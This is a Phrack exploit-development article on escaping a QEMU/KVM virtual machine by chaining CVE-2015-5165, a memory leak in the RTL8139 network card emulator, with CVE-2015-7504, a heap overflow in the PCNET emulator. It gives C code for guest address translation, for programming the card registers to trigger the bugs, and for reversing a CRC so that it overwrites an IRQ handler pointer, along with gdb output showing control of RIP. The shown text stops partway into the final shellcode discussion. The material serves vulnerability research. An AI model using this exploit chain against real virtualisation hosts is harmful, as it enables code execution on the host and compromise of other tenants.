==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x05 of 0x0f

```
|=-----------------------------------------------------------------------=|
|=---------------------------=[ VM escape ]=-----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ QEMU Case Study ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ Mehdi Talbi ]=---------------------------=|
|=--------------------------=[ Paul Fariello ]=--------------------------=|
|=-----------------------------------------------------------------------=|
```

--[Table of contents

--[1 - Introduction

Virtual machines are nowadays heavily deployed for personal use or within the enterprise segment. Network security vendors use for instance different VMs to analyze malwares in a controlled and confined environment. A natural question arises: can the malware escapes from the VM and execute code on the host machine?

Last year, Jason Geffner from CrowdStrike, has reported a serious bug in QEMU affecting the virtual floppy drive code that could allow an attacker to escape from the VM [1] to the host. Even if this vulnerability has received considerable attention in the netsec community - probably because it has a dedicated name (VENOM) - it wasn't the first of it's kind.

In 2011, Nelson Elhage [2] has reported and successfully exploited a vulnerability in QEMU's emulation of PCI device hotplugging. The exploit is available at [3].

Recently, Xu Liu and Shengping Wang, from Qihoo 360, have showcased at HITB 2016 a successful exploit on KVM/QEMU. They exploited two vulnerabilities (CVE-2015-5165 and CVE-2015-7504) present in two different network card device emulator models, namely, RTL8139 and PCNET. During their presentation, they outlined the main steps towards code execution on the host machine but didn't provide any exploit nor the technical details to reproduce it.

In this paper, we provide a in-depth analysis of CVE-2015-5165 (a memory-leak vulnerability) and CVE-2015-7504 (a heap-based overflow vulnerability), along with working exploits. The combination of these two exploits allows to break out from a VM and execute code on the target host. We discuss the technical details to exploit the vulnerabilities on QEMU's network card device emulation, and provide generic techniques that could be re-used to exploit future bugs in QEMU. For instance an interactive bindshell that leverages on shared memory areas and shared code.

--[2 - KVM/QEMU Overview

KVM (Kernal-based Virtual Machine) is a kernel module that provides full virtualization infrastructure for user space programs. It allows one to run multiple virtual machines running unmodified Linux or Windows images.

The user space component of KVM is included in mainline QEMU (Quick Emulator) which handles especially devices emulation.

----[2.1 - Workspace Environment

In effort to make things easier to those who want to use the sample code given throughout this paper, we provide here the main steps to reproduce our development environment.

Since the vulnerabilities we are targeting has been already patched, we need to checkout the source for QEMU repository and switch to the commit that precedes the fix for these vulnerabilities. Then, we configure QEMU only for target x86_64 and enable debug:

```
    $ git clone git://git.qemu-project.org/qemu.git
    $ cd qemu
    $ git checkout bd80b59
    $ mkdir -p bin/debug/native
    $ cd bin/debug/native
    $ ../../../configure --target-list=x86_64-softmmu --enable-debug \
    $                    --disable-werror
    $ make
```

In our testing environment, we build QEMU using version 4.9.2 of Gcc.

For the rest, we assume that the reader has already a Linux x86_64 image that could be run with the following command line:

```
    $ ./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \
    $    -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
    $    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
    $    -drive file=<path_to_image>,format=qcow2,if=ide,cache=writeback
```

We allocate 2GB of memory and create two network interface cards: RTL8139 and PCNET.

We are running QEMU on a Debian 7 running a 3.16 kernel on x_86_64 architecture.

----[2.2 - QEMU Memory Layout

The physical memory allocated for the guest is actually a mmapp'ed private region in the virtual address space of QEMU. It's important to note that the PROT_EXEC flag is not enabled while allocating the physical memory of the guest.

The following figure illustrates how the guest's memory and host's memory cohabits.

```
                            Guest' processes
                         +--------------------+
Virtual addr space       |                    |
                         +--------------------+
                         |                    |
                         \__   Page Table     \__
                            \                    \
```

```
                          |                    |  Guest kernel
                     +----+--------------------+----------------+
Guest's phy. memory  |    |                    |                |
                     +----+--------------------+----------------+
                     |                                          |
                     \__                                        \__
                        \                                          \
                         |             QEMU process                 |
                    +----+------------------------------------------+
Virtual addr space  |    |                                          |
                    +----+------------------------------------------+
                    |                                               |
                     \__                Page Table                   \__
                        \                                               \
                         |                                               |
                    +----+-----------------------------------------------++
Physical memory     |    |                                               ||
                    +----+-----------------------------------------------++
```

Additionaly, QEMU reserves a memory region for BIOS and ROM. These mappings
are available in QEMU's maps file:

```
7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0
7f1828000000-7f18a8000000 rw-p 00000000 00:00 0         [2 GB of RAM]
7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0
7f18a8992000-7f18ac000000 ---p 00000000 00:00 0
7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489    [first shared lib]
7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489           ...
7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489           ...
7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489           ...

                     ...                                [more shared libs]

7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647  [qemu-system-x86_64]
7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647         ...
7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647         ...

7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0         [heap]
7ffded947000-7ffded968000 rw-p 00000000 00:00 0         [stack]
7ffded968000-7ffded96a000 r-xp 00000000 00:00 0         [vdso]
7ffded96a000-7ffded96c000 r--p 00000000 00:00 0         [vvar]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
```

A more detailed explanation of memory management in virtualized environment
can be found at [4].

----[2.3 - Address Translation

Within QEMU there exist two translation layers:

- From a guest virtual address to guest physical address. In our exploit, we need to configure network card devices that require DMA access. For example, we need to provide the physical address of Tx/Rx buffers to correctly configure the network card devices.

- From a guest physical address to QEMU's virtual address space. In our exploit, we need to inject fake structures and get their precise address in QEMU's virtual address space.

On x64 systems, a virtual address is made of a page offset (bits 0-11) and
a page number. On linux systems, the pagemap file enables userspace process
with CAP_SYS_ADMIN privileges to find out which physical frame each virtual
page is mapped to. The pagemap file contains for each virtual page a 64-bit
value well-documented in kernel.org [5]:

```
- Bits 0-54  : physical frame number if present.
- Bit  55    : page table entry is soft-dirty.
- Bit  56    : page exclusively mapped.
- Bits 57-60 : zero
```

```
- Bit  61    : page is file-page or shared-anon.
- Bit  62    : page is swapped.
- Bit  63    : page is present.
```

To convert a virtual address to a physical one, we rely on Nelson Elhage's code [3]. The following program allocates a buffer, fills it with the string "Where am I?" and prints its physical address:

```
---[ mmu.c ]---
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
    uint8_t *ptr;
    uint64_t ptr_mem;

    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }

    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

    getchar();
    return 0;
}
```

If we run the above code inside the guest and attach gdb to the QEMU process, we can see that our buffer is located within the physical address space allocated for the guest. More precisely, we note that the outputted address is actually an offset from the base address of the guest physical memory:

```
root@debian:~# ./mmu
Where am I?
Your physical address is at 0x78b0d010

(gdb) info proc mappings
process 14791
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7fc314000000     0x7fc314022000    0x22000        0x0
      0x7fc314022000     0x7fc318000000  0x3fde000        0x0
      0x7fc319dde000     0x7fc31c000000  0x2222000        0x0
      0x7fc31c000000     0x7fc39c000000 0x80000000        0x0
      ...

(gdb) x/s 0x7fc31c000000 + 0x78b0d010
0x7fc394b0d010:    "Where am I?"
```

--[3 - Memory Leak Exploitation

In the following, we will exploit CVE-2015-5165 - a memory leak vulnerability that affects the RTL8139 network card device emulator - in order to reconstruct the memory layout of QEMU. More precisely, we need to leak (i) the base address of the .text segment in order to build our shellcode and (ii) the base address of the physical memory allocated for the guest in order to be able to get the precise address of some injected dummy structures.

----[3.1 - The vulnerable Code

The REALTEK network card supports two receive/transmit operation modes: C mode and C+ mode. When the card is set up to use C+, the NIC device emulator miscalculates the length of IP packet data and ends up sending more data than actually available in the packet.

The vulnerability is present in the rtl8139_cplus_transmit_one function from hw/net/rtl8139.c:

```
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t  ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t   eth_payload_len  = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
    DPRINTF("+++ C+ mode has IP packet\n");

    /* not aligned */
    eth_payload_data = saved_buffer + ETH_HLEN;
    eth_payload_len  = saved_size   - ETH_HLEN;

    ip = (ip_header*)eth_payload_data;

    if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
        DPRINTF("+++ C+ mode packet has bad IP version %d "
            "expected %d\n", IP_HEADER_VERSION(ip),
            IP_HEADER_VERSION_4);
```

```
        ip = NULL;
    } else {
        hlen = IP_HEADER_LENGTH(ip);
        ip_protocol = ip->ip_p;
        ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
    }
}
```

The IP header contains two fields hlen and ip->ip_len that represent the length of the IP header (20 bytes considering a packet without options) and the total length of the packet including the ip header, respectively. As shown at the end of the snippet of code given below, there is no check to ensure that ip->ip_len >= hlen while computing the length of IP data (ip_data_len). As the ip_data_len field is encoded as unsigned short, this leads to sending more data than actually available in the transmit buffer.

More precisely, the ip_data_len is later used to compute the length of TCP data that are copied - chunk by chunk if the data exceeds the size of the MTU - into a malloced buffer:

```
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
    tcp_send_offset += tcp_chunk_size) {
    uint16_t chunk_size = tcp_chunk_size;

    /* check if this is the last frame */
    if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
        is_last_frame = 1;
        chunk_size = tcp_data_len - tcp_send_offset;
    }

    memcpy(data_to_checksum, saved_ip_header + 12, 8);

    if (tcp_send_offset) {
        memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
                (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
                chunk_size);
    }

    /* more code follows */
}
```

So, if we forge a malformed packet with a corrupted length size (e.g. ip->ip_len = hlen - 1), then we can leak approximatively 64 KB from QEMU's heap memory. Instead of sending a single packet, the network card device emulator will end up by sending 43 fragmented packets.

----[3.2 - Setting up the Card

In order to send our malformed packet and read leaked data, we need to configure first Rx and Tx descriptors buffers on the card, and set up some flags so that our packet flows through the vulnerable code path.

The figure below shows the RTL8139 registers. We will not detail all of them but only those which are relevant to our exploit:

```
            +---------------------------+----------------------------+
    0x00    |           MAC0            |            MAR0            |
            +---------------------------+----------------------------+
    0x10    |                       TxStatus0                        |
            +--------------------------------------------------------+
    0x20    |                        TxAddr0                         |
            +-------------------+-------+----------------------------+
    0x30    |        RxBuf      |ChipCmd|                            |
            +-------------+------+------+----------------------------+
```

```
    0x40    |   TxConfig  |  RxConfig   |            ...             |
            +-------------+-------------+----------------------------+
            |                                                        |
            |              skipping irrelevant registers             |
            |                                                        |
            +---------------------------+--+------+------------------+
    0xd0    |           ...             |  |TxPoll|      ...         |
            +-------+------+------------+--+------+--+---------------+
    0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...         |
            +-------+------+------------+------------+---------------+
```

- TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback test mode), TxCRC (do not append CRC to Tx Packets), etc.
- RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept broadcast packets), AcceptMulticast (accept multicast packets), etc.
- CpCmd: C+ command register used to enable some functions such as CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc.
- TxAddr0: Physical memory address of Tx descriptors table.
- RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors table.
- RxRingAddrHI: High 32-bits physical memory address of Rx descriptors table.
- TxPoll: Tell the card to check Tx descriptors.

A Rx/Tx-descriptor is defined by the following structure where buf_lo and buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx buffers, respectively. These addresses point to buffers holding packets to be sent/received and must be aligned on page size boundary. The variable dw0 encodes the size of the buffer plus additional flags such as the ownership flag to denote if the buffer is owned by the card or the driver.

```
struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo;
    uint32_t buf_hi;
};
```

The network card is configured through in*() out*() primitives (from sys/io.h). We need to have CAP_SYS_RAWIO privileges to do so. The following snippet of code configures the card and sets up a single Tx descriptor.

```
#define RTL8139_PORT        0xc000
#define RTL8139_BUFFER_SIZE 1500

struct rtl8139_desc desc;
void *rtl8139_tx_buffer;
uint32_t phy_mem;

rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);

memset(&desc, 0, sizeof(struct rtl8139_desc));

desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
             CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;

desc.buf_lo = phy_mem;

iopl(3);

outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);

outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);

outl(phy_mem, RTL8139_PORT + TxAddr0);
```

```
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
```

----[3.3 - Exploit

The full exploit (cve-2015-5165.c) is available inside the attached source code tarball. The exploit configures the required registers on the card and sets up Tx and Rx buffer descriptors. Then it forges a malformed IP packet addressed to the MAC address of the card. This enables us to read the leaked data by accessing the configured Rx buffers.

While analyzing the leaked data we have observed that several function pointers are present. A closer look reveals that these functions pointers are all members of a same QEMU internal structure:

```
typedef struct ObjectProperty
{
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;

    QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
```

QEMU follows an object model to manage devices, memory regions, etc. At startup, QEMU creates several objects and assigns to them properties. For example, the following call adds a "may-overlap" property to a memory region object. This property is endowed with a getter method to retrieve the value of this boolean property:

```
object_property_add_bool(OBJECT(mr), "may-overlap",
                         memory_region_get_may_overlap,
                         NULL, /* memory_region_set_may_overlap */
                         &error_abort);
```

The RTL8139 network card device emulator reserves a 64 KB on the heap to reassemble packets. There is a large chance that this allocated buffer fits on the space left free by destroyed object properties.

In our exploit, we search for known object properties in the leaked memory. More precisely, we are looking for 80 bytes memory chunks (chunk size of a free'd ObjectProperty structure) where at least one of the function pointers is set (get, set, resolve or release). Even if these addresses are subject to ASLR, we can still guess the base address of the .text section. Indeed, their page offsets are fixed (12 least significant bits or virtual addresses are not randomized). We can do some arithmetics to get the address of some of QEMU's useful functions. We can also derive the address of some LibC functions such as mprotect() and system() from their PLT entries.

We have also noticed that the address PHY_MEM + 0x78 is leaked several times, where PHY_MEM is the start address of the physical memory allocated for the guest.

The current exploit searches the leaked memory and tries to resolves (i) the base address of the .text segment and (ii) the base address of the physical memory.

--[4 - Heap-based Overflow Exploitation

This section discusses the vulnerability CVE-2015-7504 and provides an exploit that gets control over the %rip register.

----[4.1 - The vulnerable Code

The AMD PCNET network card emulator is vulnerable to a heap-based overflow when large-size packets are received in loopback test mode. The PCNET device emulator reserves a buffer of 4 kB to store packets. If the ADDFCS flag is enabled on Tx descriptor buffer, the card appends a CRC to received packets as shown in the following snippet of code in pcnet_receive() function from hw/net/pcnet.c. This does not pose a problem if the size of the received packets are less than 4096 - 4 bytes. However, if the packet has exactly 4096 bytes, then we can overflow the destination buffer with 4 bytes.

```
uint8_t *src = s->buffer;

/* ... */

if (!s->looptest) {
    memcpy(src, buf, size);
    /* no need to compute the CRC */
    src[size] = 0;
    src[size + 1] = 0;
    src[size + 2] = 0;
    src[size + 3] = 0;
    size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
           !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
    uint32_t fcs = ~0;
    uint8_t *p = src;

    while (p != &src[size])
        CRC(fcs, *p++);
    *(uint32_t *)p = htonl(fcs);
    size += 4;
}
```

In the above code, s points to PCNET main structure, where we can see that beyond our vulnerable buffer, we can corrupt the value of the irq variable:

```
struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                           uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};
```

The variable irq is a pointer to IRQState structure that represents a handler to execute:

```
typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState {
    Object parent_obj;
    qemu_irq_handler handler;
    void *opaque;
    int n;
```

```
};
```

This handler is called several times by the PCNET card emulator. For instance, at the end of pcnet_receive() function, there is call a to pcnet_update_irq() which in turn calls qemu_set_irq():

```
void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}
```

So, what we need to exploit this vulnerability:

- allocate a fake IRQState structure with a handler to execute (e.g. system()).

- compute the precise address of this allocated fake structure. Thanks to the previous memory leak, we know exactly where our fake structure resides in QEMU's process memory (at some offset from the base address of the guest's physical memory).

- forge a 4 kB malicious packets.

- patch the packet so that the computed CRC on that packet matches the address of our fake IRQState structure.

- send the packet.

When this packet is received by the PCNET card, it is handled by the pcnet_receive function() that performs the following actions:

- copies the content of the received packet into the buffer variable.
- computes a CRC and appends it to the buffer. The buffer is overflowed with 4 bytes and the value of irq variable is corrupted.
- calls pcnet_update_irq() that in turns calls qemu_set_irq() with the corrupted irq variable. Out handler is then executed.

Note that we can get control over the first two parameters of the substituted handler (irq->opaque and irq->n), but thanks to a little trick that we will see later, we can get control over the third parameter too (level parameter). This will be necessary to call mprotect() function.

Note also that we corrupt an 8-byte pointer with 4 bytes. This is sufficient in our testing environment to successfully get control over the %rip register. However, this poses a problem with kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. This issue is discussed in section 5.4.

----[4.2 - Setting up the Card

Before going further, we need to set up the PCNET card in order to configure the required flags, set up Tx and Rx descriptor buffers and allocate ring buffers to hold packets to transmit and receive.

The AMD PCNET card could be accessed in 16 bits mode or 32 bits mode. This depends on the current value of DWI0 (value stored in the card). In the following, we detail the main registers of the PCNET card in 16 bits access mode as this is the default mode after a card reset:

```
0                                  16
+----------------------------------+
|              EPROM               |
+----------------------------------+
|      RDP - Data reg for CSR      |
+----------------------------------+
| RAP - Index reg for CSR and BCR  |
```

```
            +-----------------------------------+
            |             Reset reg             |
            +-----------------------------------+
            |      BDP - Data reg for BCR       |
            +-----------------------------------+
```

The card can be reset to default by accessing the reset register.

The card has two types of internal registers: CSR (Control and Status Register) and BCR (Bus Control Registers). Both registers are accessed by setting first the index of the register that we want to access in the RAP (Register Address Port) register. For instance, if we want to init and restart the card, we need to set bit0 and bit1 to 1 of register CSR0. This can be done by writing 0 to RAP register in order to select the register CSR0, then by setting register CSR to 0x3:

```
outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
```

The configuration of the card could be done by filling an initialization structure and passing the physical address of this structure to the card (through register CSR1 and CSR2):

```
struct pcnet_config {
    uint16_t  mode;      /* working mode: promiscusous, looptest, etc. */
    uint8_t   rlen;      /* number of rx descriptors in log2 base */
    uint8_t   tlen;      /* number of tx descriptors in log2 base */
    uint8_t   mac[6];    /* mac address */
    uint16_t _reserved;
    uint8_t   ladr[8];   /* logical address filter */
    uint32_t  rx_desc;   /* physical address of rx descriptor buffer */
    uint32_t  tx_desc;   /* physical address of tx descriptor buffer */
};
```

----[4.3 - Reversing CRC

As discussed previously, we need to fill a packet with data in such a way that the computed CRC matches the address of our fake structure. Fortunately, the CRC is reversible. Thanks to the ideas exposed in [6], we can apply a 4-byte patch to our packet so that the computed CRC matches a value of our choice. The source code reverse-crc.c applies a patch to a pre-filled buffer so that the computed CRC is equal to 0xdeadbeef.

```
---[ reverse-crc.c ]---
#include <stdio.h>
#include <stdint.h>

#define CRC(crc, ch)     (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial
 *  x^32 + x^26 + x^23 + x^22 + x^16 +
 *  x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
 */
static const uint32_t crctab[256] = {
    0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
    0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
    0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
    0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
    0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
    0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
    0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
    0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
    0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
    0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
    0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
    0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
    0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
    0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
```

```
    0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
    0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
    0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
    0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
    0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
    0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
    0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
    0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
    0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
    0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
    0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
    0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
    0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
    0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
    0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
    0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
    0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
    0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
    0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
    0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
    0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
    0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
    0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
    0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
    0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
    0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
    0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
    0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
    0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
    0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
    0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
    0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
    0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
    0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
    0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
    0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
    0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
    0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
    0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
    0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
    0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
    0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
    0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
    0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
    0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
    0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
    0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
    0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
    0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
    0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

uint32_t crc_compute(uint8_t *buffer, size_t size)
{
    uint32_t fcs = ~0;
    uint8_t *p = buffer;

    while (p != &buffer[size])
        CRC(fcs, *p++);

    return fcs;
}

uint32_t crc_reverse(uint32_t current, uint32_t target)
{
    size_t i = 0, j;
    uint8_t *ptr;
    uint32_t workspace[2] = { current, target };
    for (i = 0; i < 2; i++)
```

```
        workspace[i] &= (uint32_t)~0;
    ptr = (uint8_t *)(workspace + 1);
    for (i = 0; i < 4; i++) {
        j = 0;
        while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
        *((uint32_t *)(ptr - i)) ^= crctab[j];
        *(ptr - i - 1) ^= j;
    }
    return *(uint32_t *)(ptr - 4);
}


int main()
{
    uint32_t fcs;
    uint32_t buffer[2] = { 0xcafecafe };
    uint8_t *ptr = (uint8_t *)buffer;

    fcs = crc_compute(ptr, 4);
    printf("[+] current crc = %010p, required crc = \n", fcs);

    fcs = crc_reverse(fcs, 0xdeadbeef);
    printf("[+] applying patch = %010p\n", fcs);
    buffer[1] = fcs;

    fcs = crc_compute(ptr, 8);
    if (fcs == 0xdeadbeef)
        printf("[+] crc patched successfully\n");
}
```

----[4.4 - Exploit

The exploit (file cve-2015-7504.c from the attached source code tarball) resets the card to its default settings, then configures Tx and Rx descriptors and sets the required flags, and finally inits and restarts the card to push our network card config.

The rest of the exploit simply triggers the vulnerability that crashes QEMU with a single packet. As shown below, qemu_set_irq is called with a corrupted irq variable pointing to 0x7f66deadbeef. QEMU crashes as there is no runnable handler at this address.

```
(gdb) shell ps -e | grep qemu
 8335 pts/4    00:00:03 qemu-system-x86
(gdb) attach 8335
...
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0)
43      irq->handler(irq->opaque, irq->n, level);
```

--[5 - Putting all Together

In this section, we merge the two previous exploits in order to escape from the VM and get code execution on the host with QEMU's privileges.

First, we exploit CVE-2015-5165 in order to reconstruct the memory layout of QEMU. More precisely, the exploit tries to resolve the following addresses in order to bypass ASLR:

- The guest physical memory base address. In our exploit, we need to do some allocations on the guest and get their precise address within the virtual address space of QEMU.

- The .text section base address. This serves to get the address of qemu_set_irq() function.

- The .plt section base address. This serves to determine the addresses of

  some functions such as fork() and execv() used to build our shellcode.
  The address of mprotect() is also needed to change the permissions of the
  guest physical address. Remember that the physical address allocated for
  the guest is not executable.

----[5.1 - RIP Control

As shown in section 4 we have control over %rip register. Instead of letting QEMU crash at arbitrary address, we overflow the PCNET buffer with an address pointing to a fake IRQState that calls a function of our choice.

At first sight, one could be attempted to build a fake IRQState that runs system(). However, this call will fail as some of QEMU memory mappings are not preserved across a fork() call. More precisely, the mmapped physical memory is marked with the MADV_DONTFORK flag:

```
qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK);
```

Calling execv() is not useful too as we lose our hands on the guest machine.

